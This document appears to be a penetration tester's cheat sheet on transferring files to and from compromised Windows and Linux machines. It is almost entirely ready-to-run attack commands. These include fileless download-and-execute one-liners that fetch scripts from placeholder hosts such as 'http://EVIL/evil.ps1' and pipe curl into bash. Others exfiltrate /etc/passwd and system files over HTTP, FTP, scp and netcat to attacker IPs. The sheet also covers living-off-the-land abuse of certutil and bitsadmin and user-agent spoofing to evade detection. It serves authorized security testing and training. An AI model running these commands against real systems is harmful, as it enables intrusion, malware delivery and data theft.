During an engagement, traditional file transfer methods could be blocked. Filesharing sites such as Google Drive or Dropbox can be blocked by firewalls. Ports dedicated for file transfer such as ftp/21 or ssh/22 could require elevated credentials, be disabled, or monitored by IDS/IPS systems. Code repositories such as GitHub, that host well known pentesting scripts, can be blocked. Thus sometimes copying data in or exfiltrating data off of a target machine requires extra due diligence, depending on the environment.
File Transfer Methods (Unencrypted)
Windows
Powershell Base64
## Encoding
# grab sum of file for validation
Get-FileHash <file>
# convert file to b64 (two methods)
[Convert]::ToBase64String([System.IO.File]::ReadAllBytes("C:\file")
[Convert]::ToBase64String((Get-Content -path "C:\file" -Encoding byte))
# copy the result from the base64 command above
## Decoding
# decode to file
[IO.File]::WriteAllBytes("C:\file",[Convert]::FromBase64String("Y2J0Zmx0DQo="))
# verify sum matches original sum
Get-FileHash <file>
Powershell Web
- HTTP/HTTPS over 80/443 tend to be allowed via firewall, thus downloading from certain websites may be viable
- Multiple methods using Net.WebClient or Invoke-WebRequest
- These methods are well known, and could trip AV or IDS/IPS tech
# Download File
(New-Object Net.WebClient).DownloadFile('<Target URL>','<Output File Name>')
# Download FIle Asynchronously
(New-Object Net.WebClient).DownloadFileAsync('<Target URL>','<Output File Name>')
# Invoke-WebRequest Download File (iwr, curl, wget all work for this)
IWR -UseBasicParsing http://url.co/file.txt -OutFile file.txt
# IWR Download File, custom user-agent for detection evasion
$UserAgent = [Microsoft.PowerShell.Commands.PSUserAgent]::Chrome
IWR -UseBasicParsing http://url.co/file.txt -UserAgent $UserAgent -OutFile file.txt
# Fileless - Download & Execute File in Memory
IEX (New-Object Net.WebClient).DownloadString('http://url.com/file.ps1')
# Fileless - Download & Execute File in Memory using Invoke-WebRequest
IEX (iwr -UseBasicParsing 'http://url.com/file.ps1')
# More covert methods from https://gist.github.com/HarmJ0y/bb48307ffa663256e239
# hidden IE com object
$ie=New-Object -comobject InternetExplorer.Application;$ie.visible=$False;$ie.navigate('http://EVIL/evil.ps1');start-sleep -s 5;$r=$ie.Document.body.innerHTML;$ie.quit();IEX $r
# Msxml2.XMLHTTP COM object
$h=New-Object -ComObject Msxml2.XMLHTTP;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# WinHttp COM object (not proxy aware!)
$h=new-object -com WinHttp.WinHttpRequest.5.1;$h.open('GET','http://EVIL/evil.ps1',$false);$h.send();iex $h.responseText
# using bitstransfer- touches disk!
Import-Module bitstransfer;Start-BitsTransfer 'http://EVIL/evil.ps1' $env:temp\t;$r=gc $env:temp\t;rm $env:temp\t; iex $r
SMB Downloads
- Attacking box can setup an smb share with impacket, then use windows to connect and download files
- Modern versions of windows tend to block anonymous / unauthenticated logins to SMB, so the share should have a user configured
- If the attacking device is in the same network, you may be able to reuse this to exfiltrate as well. Otherwise, SMB over HTTP (WebDav) may be required.
# Setup Fileshare on Attacking Machine, Linux
sudo impacket-smbserver share -smb2support /tmp/smbshare -user test -password test
# Mount fileshare on Target machine & copy file, Windows CMD
net use n: \\<ip>\share /user:test test
copy n:\evil.exe
FTP
- Setup FTP share on attack box, upload file
- Use Powershell's WebClient.Download file or ftp to connect and download the file
- One method involves using python's
pyftpdlibto host the ftp server. This could technically be installed on a windows victim machine with python, but the outbound port would likely be blocked in firewall.
# FTP Download
# retrieve file, Windows - WebClient
(New-Object Net.WebClient).DownloadFile('ftp://<ip>/file.txt','<Output File Name>')
# retrieve file, Windows - FTP command file
# useful if full interactive shell has not yet been obtained
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo GET file.txt >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
# PowerShell WebClient
(New-Object Net.WebClient).UploadFile('ftp://<ip>/file.txt', 'C:\file.txt')
# FTP Command Script
echo open 192.168.49.128 > ftpcommand.txt
echo USER anonymous >> ftpcommand.txt
echo binary >> ftpcommand.txt
echo PUT c:\windows\system32\drivers\etc\hosts >> ftpcommand.txt
echo bye >> ftpcommand.txt
ftp -v -n -s:ftpcommand.txt
Linux
Bash Base64
## Encoding
# grab sum of file for validation
sha256sum <file>
# method 1 - call file with base64 command
base64 <file> -w 0
# method 2 - pipe file in through STDIN
cat <file> | base64 -w 0
# copy the result from the base64 command above
## Decoding
# pipe b64 string to decode
echo <b64string> | base64 -d > filename
# verify sum matches original sum
sha256sum <file>
Bash Web
# Download File (pick one)
wget https://url.com/file.sh -O /tmp/file.sh
curl -o /tmp/file.sh https://url.com/file.sh
# Fileless - Download & Execute in memory
wget -q0- https://url.com/file.sh | bash
curl https://url.com/file.sh | bash
# Download with Bash TCP
exec 3<>/dev/tcp/10.10.10.32/80 # connect
echo -e "GET /LinEnum.sh HTTP/1.1\n\n">&3 # issue GET command
cat <&3 # print output
SSH
# on attacking machine, enable ssh
sudo systemctl start ssh
# on target machine, connect back and download file
scp [email protected]:/root/myroot.txt .
# uploading works the same way
scp /etc/passwd [email protected]:/root/
Programming Languages
JavaScript + WScript
// Save this in a file called wget.js
var WinHttpReq = new ActiveXObject("WinHttp.WinHttpRequest.5.1");
WinHttpReq.Open("GET", WScript.Arguments(0), /*async=*/false);
WinHttpReq.Send();
BinStream = new ActiveXObject("ADODB.Stream");
BinStream.Type = 1;
BinStream.Open();
BinStream.Write(WinHttpReq.ResponseBody);
BinStream.SaveToFile(WScript.Arguments(1));
cscript.exe /nologo wget.js https://url/file.txt
PHP
## download - file_get_contents
php -r '$file = file_get_contents("https://url/file.txt"); file_put_contents("file.txt",$file);'
## download - fopen
php -r 'const BUFFER = 1024; $fremote =
fopen("https://url/file.txt", "rb"); $flocal = fopen("file.txt", "wb"); while ($buffer = fread($fremote, BUFFER)) { fwrite($flocal, $buffer); } fclose($flocal); fclose($fremote);'
Python
## download
python2.7 -c 'import urllib;urllib.urlretrieve ("https://url/file.txt", "file.txt")'
python3 -c 'import urllib.request;urllib.request.urlretrieve("https://url/file", "file.txt")'
## upload
python3 -c 'import requests;requests.post("http://192.168.49.128:8000/upload",files={"files":open("/etc/passwd","rb")})'
Python - Web Server
# setup a download-only web server on current directory
# use wget or a browser from another machine to connect and retrieve files
python3 -m http.server <port>
# setup an upload-only web server in new directory
# pip3 install uploadserver
mkdir https && cd https
python3 -m uploadserver
# can also use this with SSL Cert
openssl req -x509 -out server.pem -keyout server.pem -newkey rsa:2048 -nodes -sha256 -subj '/CN=server'
mkdir https && cd https
sudo python3 -m uploadserver 443 --server-certificate ~/server.pem
ncat
# set up listener on device receiving file
ncat -l -p 1234 --recv-only > filename.txt
# send file from target machine to receiver
ncat 10.1.1.2 1234 --send-only < filename.txt
netcat
# set up listener on device receiving file
nc -lvnp 1234 > filename.txt
# send file from target machine to receiver
nc 10.1.1.2 1234 < filename.txt
RDP
# using xfreerdp, can mount a dir from our attack machine to the target server
xfreerdp /v:10.10.10.132 /d:HTB /u:administrator /p:'Password0@' /drive:linux,/home/plaintext/htb/academy/filetransfer
Encrypted File Transfers
Highly sensitive data requires a different approach to ensure confidentiality. You can useInvoke-AESEncryption script on Windows and openssl on linux to encrypt files before sending, then decrypt once they are on the target machine. See [[Command Cheatsheet#Encryption]].
NOTE: In real engagements, do NOT attempt to exfil company confidential or regulatory protected data (client info, credit cards.etc) unless explicitly written in scope. Create a dummy file with fake data mirroring the findings to test exfiltration.
Linux
## encrypt
openssl enc -aes256 -iter 100000 -pbkdf2 -in /etc/passwd -out passwd.enc
## decrypt
openssl enc -d -aes256 -iter 100000 -pbkdf2 -in passwd.enc -out passwd
Windows
# requires module
# https://www.powershellgallery.com/packages/DRTools/4.0.2.3/Content/Functions%5CInvoke-AESEncryption.ps1
## activate module
Import-Module .\Invoke-AESEncryption.ps1
## encrypt
Invoke-AESEncryption -Mode Encrypt -Key "p4ssw0rd" -Path .\scan-results.txt
## decrypt
Invoke-AESEncryption -Mode Decrypt -Key "p4ssw0rd" -Path .\scan-results.txt
Living off the Land
Certain binaries in windows and linux can be abused to send/receive files, separate from their intended purposes. LOLBas for windows and GTFOBins for Linux documents functions.
- On LOLBas, search for
/uploador/downloadto find binaries that can be used in this manner- certreq.exe, bitsadmin and certutil are commonly abused. Some AV solutions can easily detect the abuse of these binaries for file downloads.
- On GTFOBins, search for
+file uploador+file downloadto find binaries to abuse
# upload using certreq.exe
certreq.exe -Post -config http://url.co/ c:\windows\win.ini
# download with bitsadmin
bitsadmin /transfer wcb /priority foreground http://url.co/nc.exe C:\nc.exe
# download with bitstransfer
Import-Module bitstransfer; Start-BitsTransfer -Source "http://url.co/nc.exe" -Destination "C:\Windows\Temp\nc.exe"
# download with certutil
certutil.exe -verifyctl -split -f http://url.co/nc.exe
Detection
The methods using powershell and LOTL binaries have custom user agents that could trigger alarms if caught via network monitoring:
- IWR:
Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.14393.0 - WinHttpRequest:
Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5) - Certutil:
Microsoft-CryptoAPI/10.0 - BITS:
Microsoft BITS/7.8
Evading Detection
- User agents in certain commands can be changed
- For example
Invoke-WebRequesthas a-UserAgentstring
- For example